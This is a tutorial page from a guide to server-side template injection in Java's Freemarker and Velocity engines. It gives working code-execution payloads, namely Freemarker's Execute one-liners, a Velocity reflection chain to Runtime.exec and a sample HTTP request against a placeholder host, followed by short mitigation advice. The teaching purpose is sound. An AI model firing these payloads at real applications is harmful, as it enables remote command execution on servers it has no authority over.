Server-Side Template Injection (SSTI): The Complete Practical Guide
Exploiting Freemarker and Velocity SSTI (Java)
How to exploit Java template SSTI: Freemarker's Execute built-in, Velocity's reflection path to Runtime.exec, and why Java SSTI needs reflection.
Published
Freemarker and Velocity are the common Java template engines, and Java SSTI has its own flavor: there is no ambient path from a value to a process, so you reach code execution through reflection (or a dangerous built-in). This page covers both engines. Practice on a free live target.
Step 1: confirm a Java engine
Java engines use the dollar-brace output syntax, so your ${7*7} probe returning 49 points here. Separate the two with an engine-specific tell, since both share the syntax:
Freemarker: <#assign x=1>${x} a hash-directive that renders
Velocity: #set($x=1)$x a set-directive that renders
either: a malformed expression -> stack trace naming freemarker.* or org.apache.velocity.*A rendered Freemarker assign or a parser error naming the freemarker package confirms Freemarker. The Velocity set idiom or an org.apache.velocity trace confirms Velocity.
Step 2a: Freemarker via the Execute built-in
Freemarker ships a utility class, freemarker.template.utility.Execute, that runs an OS command, and the ?new() built-in can instantiate it from a class name. That is the clean path:
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}Or inline without the assignment:
${"freemarker.template.utility.Execute"?new()("id")}?new() builds the Execute object and calling it with "id" runs the command. This is the Freemarker equivalent of Jinja2's clean one-liners.
Step 2b: Velocity via reflection
Velocity has no Execute built-in, so you reflect your way to Runtime.exec. Start from any object, get its Class, look up Runtime by name, get the runtime, and exec:
#set($e="e")
#set($run=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null))
$run.exec("id")Each step is a reflection call: forName loads the Runtime class, getMethod/invoke calls the static getRuntime(), and exec runs the command. This is the "reflection gymnastics" Java SSTI is known for.
Step 3: run a command and read the output
Fire the engine-matched payload:
POST /report HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
template=<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}HTTP/1.1 200 OK
Content-Type: text/html
uid=1000(appsvc) gid=1000(appsvc) groups=1000(appsvc)A note on reading output: Freemarker's Execute returns the command's output directly into the render, which is convenient. Velocity's exec returns a Process object, so to see output you read its input stream, or you fall back to a blind/out-of-band technique if wiring the stream through the template is awkward.
Delivery vectors
Java SSTI often lives in less obvious inputs: a report or document template field, an admin-editable email or theme, a value reflected into a server-rendered error. Try the payload in forms, in headers that feed templated responses, and in any stored field that an admin view later renders.
Fixing it
- Pass user input as data, never into the template source.
- Freemarker: restrict resolvers and remove the
ExecuteandObjectConstructorbuilt-ins, and use theTemplateClassResolversafe settings. - Velocity: avoid exposing powerful objects into the context and keep the engine patched.
Full guidance is in preventing SSTI. Next, defeating sandboxes in SSTI to RCE and sandbox escape, or try a Java engine on a free lab.
← Back to Server-Side Template Injection (SSTI): The Complete Practical Guide